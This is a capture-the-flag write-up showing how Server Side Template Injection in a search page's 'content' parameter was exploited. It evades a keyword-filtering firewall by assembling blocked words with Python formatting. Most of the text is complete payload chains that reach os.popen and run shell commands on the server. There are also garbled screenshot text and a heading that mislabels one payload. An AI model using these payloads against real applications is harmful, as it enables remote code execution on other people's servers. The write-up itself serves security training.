HTTP-FOR-PROS
HTTP-FOR-PROS
Proof of flag
CTF{75df3454a132fcdd37d94882e343c6a23e961ed70f8dd88195345aa874c63e63}
Summary of the vulnerabilities identified
The application is vulnerable to Server Side Template Injection via the content GET parameter and can be used to get code execution on the system. It is not very straightforward since there is also a Web Application Firewall that is filtering our requests and looking for forbidden words in our requests. The solution is to use Python String formatting in order to split the forbidden words so that they won’t be matched.
Proof of solving
We begin at a simple page with an input and a search button which accepts text and then pretends to search for it. However we see that it only reflect it on the page.
← → ⊂ ŵ 0 35.198.103.37 http-for-pros xd Search
↔ → G ۵ 0 🔏 35.198.1 0 3.37 :31612/?conter it=fasfgasga
fasfgasga a
Trying different exploits/injections revolving around the only known parameter we find out that the page is susceptible to SSTI (Server Side Template Injection).
↔ > G ۵ 0 💋 25.19 8.103.37 :31612/?content={{3**3}}
Searching for classic payloads on google we find out this article published by the OnSecurity team which I cannot recommend enough. However trying different payloads we soon notice that there is also a firewall in place which prevents us from doing any on the public exploits
and we will need a custom exploitation. (In total I have encountered around 10 blacklist filters, but according to their IDs there are more than 25 around).

‘id’).read()}} in an obfuscated way.
We start with the “request” object and see that it is not on the filter and won’t need any obfuscation. Our payload so far is ?content={{request}} which will result in the templating engine outputting our object.
However when we want to build “request.application” we get blocked. So we will need to use python formatting to build it.

We can use the trick from the OnSecurity article to build the “application”. Our payload will look something like this:

?content={{request|attr(request.args.f1|format(request.args.app))}}&f1=%s&app=application
Continuing in this style we will build the payloads for each field and they will look as such:
- Request.application.__globals__ (it required more formatting since the firewall appears to be looking for the word globals in all parameters and the _ are important and need to be added as well.
?content={{request|attr(request.args.f1|format(request.args.app))|attr(request.args.f6|format(request.args.u,request.args.u,request.args.glo,request.args.bals,request.args.u,request.args.u))}}&f1=%s&f6=%s%s%s%s%s%s&app=application&u=_&glo=glo&bals=bals
- request.application.__globals__.__builtins__
?content={{request|attr(request.args.f1|format(request.args.app))|attr(request.args.f6|format(request.args.u,request.args.u,request.args.glo,request.args.bals,request.args.u,request.args.u))|attr(request.args.f6|format(request.args.u,request.args.u,request.args.ge,request.args.titem,request.args.u,request.args.u))(request.args.f6|format(request.args.u,request.args.u,request.args.buil,request.args.tins,request.args.u,request.args.u))}}&f1=%s&f6=%s%s%s%s%s%s&app=application&u=_&glo=glo&bals=bals&ge=ge&titem=titem&buil=buil&tins=tins
- request.application.__globals__.__builtins__.__import__(‘os’)
?content={{request|attr(request.args.f1|format(request.args.app))|attr(request.args.f6|format(request.args.u,request.args.u,request.args.glo,request.args.bals,request.args.u,request.args.u))|attr(request.args.f6|format(request.args.u,request.args.u,request.args.ge,request.args.titem,request.args.u,request.args.u))(request.args.f6|format(request.args.u,request.args.u,request.args.buil,request.args.tins,request.args.u,request.args.u))|attr(request.args.f6|format(request.args.u,request.args.u,request.args.ge,request.args.titem,request.args.u,request.args.u))(request.args.f6|format(request.args.u,request.args.u,request.args.imp,request.args.ort,request.args.u,request.args.u))('os')}}&f1=%s&f6=%s%s%s%s%s%s&app=application&u=_&glo=glo&bals=bals&ge=ge&titem=titem&buil=buil&tins=tins&cl=cl&ass=ass&imp=imp&ort=ort
- request.application.__globals__.__builtins__.__import__(‘os’).popen(‘cat flag’)
?content={{request|attr(request.args.f1|format(request.args.app))|attr(request.args.f6|format(request.args.u,request.args.u,request.args.glo,request.args.bals,request.args.u,request.args.u))|attr(request.args.f6|format(request.args.u,request.args.u,request.args.ge,request.args.titem,request.args.u,request.args.u))(request.args.f6|format(request.args.u,request.args.u,request.args.buil,request.args.tins,request.args.u,request.args.u))|attr(request.args.f6|format(request.args.u,request.args.u,request.args.ge,request.args.titem,request.args.u,request.args.u))(request.args.f6|format(request.args.u,request.args.u,request.args.imp,request.args.ort,request.args.u,request.args.u))('os')|attr(request.args.f1|format(request.args.po))(request.args.f1|format(request.args.pw))}}&f1=%s&f6=%s%s%s%s%s%s&app=application&u=_&glo=glo&bals=bals&ge=ge&titem=titem&buil=buil&tins=tins&cl=cl&ass=ass&imp=imp&ort=ort&po=popen&pw=cat+flag
- request.application.__globals__.__builtins__.__import__(‘os’).popen(’ls’).read()
?content={{request|attr(request.args.f1|format(request.args.app))|attr(request.args.f6|format(request.args.u,request.args.u,request.args.glo,request.args.bals,request.args.u,request.args.u))|attr(request.args.f6|format(request.args.u,request.args.u,request.args.ge,request.args.titem,request.args.u,request.args.u))(request.args.f6|format(request.args.u,request.args.u,request.args.buil,request.args.tins,request.args.u,request.args.u))|attr(request.args.f6|format(request.args.u,request.args.u,request.args.ge,request.args.titem,request.args.u,request.args.u))(request.args.f6|format(request.args.u,request.args.u,request.args.imp,request.args.ort,request.args.u,request.args.u))('os')|attr(request.args.f1|format(request.args.po))(request.args.f1|format(request.args.pw))|attr(request.args.f1|format(request.args.re))()}}&f1=%s&f6=%s%s%s%s%s%s&app=application&u=_&glo=glo&bals=bals&ge=ge&titem=titem&buil=buil&tins=tins&cl=cl&ass=ass&imp=imp&ort=ort&po=popen&pw=cat+flag&re=read
(colored to help differentiate easier between the component of each command)
After building this entire parameter we can read and submit the flag.